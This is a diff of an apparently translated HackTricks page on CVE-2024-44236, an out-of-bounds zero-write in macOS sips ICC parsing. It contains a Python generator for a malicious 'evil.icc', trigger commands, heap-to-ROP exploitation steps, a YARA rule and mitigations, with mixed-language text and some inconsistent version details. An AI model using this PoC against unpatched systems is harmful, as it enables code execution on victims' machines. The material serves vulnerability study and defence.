Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

@@ -4,50 +4,94 @@
 
 ## Visão Geral
 
-Uma vulnerabilidade de escrita fora dos limites no parser de perfil ICC do Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) devido à validação inadequada do campo `offsetToCLUT` nos tags `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Um arquivo ICC elaborado pode acionar gravações zero até 16 bytes além do buffer da pilha, corrompendo metadados da pilha ou ponteiros de função e permitindo a execução de código arbitrário (CVE-2024-44236).
+Uma vulnerabilidade de **zero-write** fora dos limites no parser de perfil ICC do **Scriptable Image Processing System** (`sips`) do Apple macOS (macOS 15.0.1, `sips-307`) permite que um atacante corrompa os metadados do heap e mude o primitivo para execução de código completo. O bug está localizado no manuseio do campo `offsetToCLUT` das tags `lutAToBType` (`mAB `) e `lutBToAType` (`mBA `). Se os atacantes definirem `offsetToCLUT == tagDataSize`, o parser apaga **16 bytes além do final do buffer do heap**. O heap spraying permite que o atacante zere estruturas de alocador ou ponteiros C++ que serão posteriormente desreferenciados, resultando em uma cadeia de **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
+
+> A Apple corrigiu o bug no macOS Sonoma 15.2 / Ventura 14.7.1 (30 de outubro de 2024). Uma segunda variante (CVE-2025-24185) foi corrigida no macOS 15.5 e iOS/iPadOS 18.5 em 1º de abril de 2025.
 
 ## Código Vulnerável
-
-A função vulnerável lê e zera 16 bytes a partir de um deslocamento controlado pelo atacante sem garantir que esteja dentro do buffer alocado:
 ```c
-// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1)
-for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) {
-if (i > numberOfInputChannels && buffer[i] != 0)
-buffer[i] = 0;
+// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
+if (offsetToCLUT <= tagDataSize) {
+// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
+for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
+buffer[i] = 0;            // no bounds check vs allocated size!
 }
 ```
-Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados adjacentes do heap.
+## Exploitation Steps
 
-## Etapas de Exploração
+1. **Crie um perfil `.icc` malicioso**
 
-1. **Criar perfil `.icc` malicioso:**
-- Construa o cabeçalho ICC (128 bytes) com a assinatura `acsp` e uma única entrada de tag `lutAToBType` ou `lutBToAType`.
-- Na tabela de tags, defina `offsetToCLUT` igual ao `size` da tag (`tagDataSize`).
-- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados do heap.
-2. **Acionar a análise:**
+* Configure um cabeçalho ICC mínimo (`acsp`) e adicione uma tag `mAB ` (ou `mBA `).
+* Configure a tabela de tags para que o **`offsetToCLUT` seja igual ao tamanho da tag** (`tagDataSize`).
+* Coloque dados controlados pelo atacante logo após a tag, de modo que as 16 gravações de zero sobreponham os metadados do alocador.
+
+2. **Acione a análise com qualquer operação sips que toque o perfil**
 
 ```bash
-sips --verifyColor malicious.icc
+# caminho de verificação (sem arquivo de saída necessário)
+sips --verifyColor evil.icc
+# ou implicitamente ao converter imagens que incorporam o perfil
+sips -s format png payload.jpg --out out.png
 ```
 
-3. **Corrompimento de metadados do heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`.
+3. **Corrupção de metadados do heap ➜ gravação arbitrária ➜ ROP**
+No alocador **`nano_zone`** padrão da Apple, os metadados para slots de 16 bytes vivem **imediatamente após** a laje alinhada de 0x1000. Ao colocar a tag do perfil no final de tal laje, as 16 gravações de zero corrompem `meta->slot_B`. Após um `free` subsequente, o ponteiro envenenado é enfileirado na lista de livres pequenos, permitindo que o atacante **aloque um objeto falso em um endereço arbitrário** e sobrescreva um ponteiro de vtable C++ usado pelo sips, finalmente mudando a execução para uma cadeia ROP armazenada no buffer ICC malicioso.
 
+### Gerador de PoC rápido (Python 3)
+```python
+#!/usr/bin/env python3
+import struct, sys
+
+HDR = b'acsp'.ljust(128, b'\0')          # ICC header (magic + padding)
+TAGS = [(b'mAB ', 132, 52)]              # one tag directly after header
+profile  = HDR
+profile += struct.pack('>I', len(TAGS))  # tag count
+profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
+
+mab = bytearray(52)                      # tag payload (52 bytes)
+struct.pack_into('>I', mab, 44, 52)      # offsetToCLUT = size (OOB start)
+profile += mab
+
+open('evil.icc', 'wb').write(profile)
+print('[+] Wrote evil.icc (%d bytes)' % len(profile))
+```
+### Regra de detecção YARA
+```yara
+rule ICC_mAB_offsetToCLUT_anomaly
+{
+meta:
+description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
+author       = "HackTricks"
+strings:
+$magic = { 61 63 73 70 }          // 'acsp'
+$mab   = { 6D 41 42 20 }          // 'mAB '
+$mba   = { 6D 42 41 20 }          // 'mBA '
+condition:
+$magic at 0 and
+for any i in (0 .. 10):           // up to 10 tags
+(
+($mab at 132 + 12*i or $mba at 132 + 12*i) and
+uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
+)
+}
+```
 ## Impacto
 
-A exploração bem-sucedida resulta em execução remota de código arbitrário com privilégios de usuário em sistemas macOS que executam o utilitário `sips` vulnerável.
+Abrir ou processar um perfil ICC elaborado leva à **execução remota de código arbitrário** no contexto do usuário que o invocou (Preview, QuickLook, renderização de imagens no Safari, anexos de e-mail, etc.), contornando o Gatekeeper porque o perfil pode ser incorporado dentro de imagens benignas (PNG/JPEG/TIFF).
 
-## Detecção
+## Detecção e Mitigação
 
-- Monitore transferências de arquivos em protocolos comuns (FTP, HTTP/S, IMAP, SMB, NFS, SMTP).
-- Inspecione arquivos transferidos com a assinatura `acsp`.
-- Para cada tag `mAB ` ou `mBA `, verifique se o campo `Offset to CLUT` é igual ao `Tag data size`.
-- Marque como suspeito se essa condição for atendida.
+* **Atualize!** Certifique-se de que o host está executando macOS ≥ 15.2 / 14.7.1 (ou iOS/iPadOS ≥ 18.1).
+* Implemente a regra YARA acima em gateways de e-mail e soluções EDR.
+* Remova ou sane os perfis ICC incorporados com `exiftool -icc_profile= -overwrite_original <file>` antes de processar arquivos não confiáveis.
+* Reforce o Preview/QuickLook executando-os dentro de VMs "transparência e modernização" isoladas ao analisar conteúdo desconhecido.
+* Para DFIR, procure por execuções recentes de `sips --verifyColor` ou carregamentos da biblioteca `ColorSync` por aplicativos isolados no log unificado.
 
 ## Referências
 
-- Blog da ZDI: CVE-2024-44236: Vulnerabilidade de Execução Remota de Código no Utilitário sips da Apple macOS
-https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos
-- Atualização de Segurança da Apple de Outubro de 2024 (patch enviando CVE-2024-44236)
-https://support.apple.com/en-us/121564
+* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
+https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
+* Atualizações de segurança da Apple HT213981 “Sobre o conteúdo de segurança do macOS Sonoma 15.2”
+https://support.apple.com/en-us/HT213981
 
 {{#include ../../banners/hacktricks-training.md}}